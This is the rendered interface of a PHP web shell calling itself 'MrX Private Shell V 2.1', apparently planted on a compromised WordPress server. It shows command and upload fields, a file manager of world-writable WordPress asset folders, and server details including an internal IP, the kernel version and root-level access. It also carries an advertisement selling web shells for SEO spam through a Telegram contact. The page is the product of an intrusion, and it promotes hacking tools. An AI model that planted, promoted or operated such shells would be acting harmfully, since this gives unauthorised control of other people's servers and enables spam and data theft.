__ __ __ __ _____ _ _ _____ _ _ _ | \/ | \ \ / / | __ \ (_) | | / ____| | | | | | \ / |_ __\ V / | |__) | __ ___ ____ _| |_ ___ | (___ | |__ ___| | | | |\/| | '__|> < | ___/ '__| \ \ / / _` | __/ _ \ \___ \| '_ \ / _ \ | | | | | | |_ / . \ | | | | | |\ V / (_| | || __/ ____) | | | | __/ | | |_| |_|_(_)_/ \_\ |_| |_| |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1 if you need WebShell for Seo everyday contact me on Telegram Telegram Address : @jackleetFor_More_Tools:
Upload:
Command:
Filemanager
Name | Type | Size | Permission | Actions |
---|---|---|---|---|
crystal | Folder | 0777 |
|
|
media | Folder | 0777 |
|
|
smilies | Folder | 0777 |
|
|
admin-bar-sprite-2x.png | File | 3.91 KB | 0666 |
|
admin-bar-sprite.png | File | 2.41 KB | 0666 |
|
arrow-pointer-blue-2x.png | File | 1.63 KB | 0666 |
|
arrow-pointer-blue.png | File | 793 B | 0666 |
|
blank.gif | File | 43 B | 0666 |
|
down_arrow-2x.gif | File | 84 B | 0666 |
|
down_arrow.gif | File | 59 B | 0666 |
|
icon-pointer-flag-2x.png | File | 1.34 KB | 0666 |
|
icon-pointer-flag.png | File | 783 B | 0666 |
|
rss-2x.png | File | 1.28 KB | 0666 |
|
rss.png | File | 608 B | 0666 |
|
spinner-2x.gif | File | 7.36 KB | 0666 |
|
spinner.gif | File | 3.57 KB | 0666 |
|
toggle-arrow-2x.png | File | 354 B | 0666 |
|
toggle-arrow.png | File | 289 B | 0666 |
|
uploader-icons-2x.png | File | 3.46 KB | 0666 |
|
uploader-icons.png | File | 1.52 KB | 0666 |
|
w-logo-blue-white-bg.png | File | 4.02 KB | 0666 |
|
w-logo-blue.png | File | 3.04 KB | 0666 |
|
wpicons-2x.png | File | 14.58 KB | 0666 |
|
wpicons.png | File | 6.92 KB | 0666 |
|
wpspin-2x.gif | File | 8.67 KB | 0666 |
|
wpspin.gif | File | 2 KB | 0666 |
|
xit-2x.gif | File | 825 B | 0666 |
|
xit.gif | File | 181 B | 0666 |
|
Server Info
- Hostname: milna-web
- IP Address: 172.31.26.98
- PHP Version: 7.4.33
- Server Software: Apache/2.4.58 (Ubuntu)
- HDD Total Space: 18.33 GB
- HDD Free Space: 2.54 GB
- Total Domains in Server: 2
- System: Linux milna-web 6.8.0-1018-aws #20-Ubuntu SMP Thu Oct 10 18:14:42 UTC 2024 x86_64
System Info
User Info
- Username: root
- User ID: 0
- Group ID: 0
Copyright reserved © 2025 xtooler.online Shell Coded By Mr.X
01
2018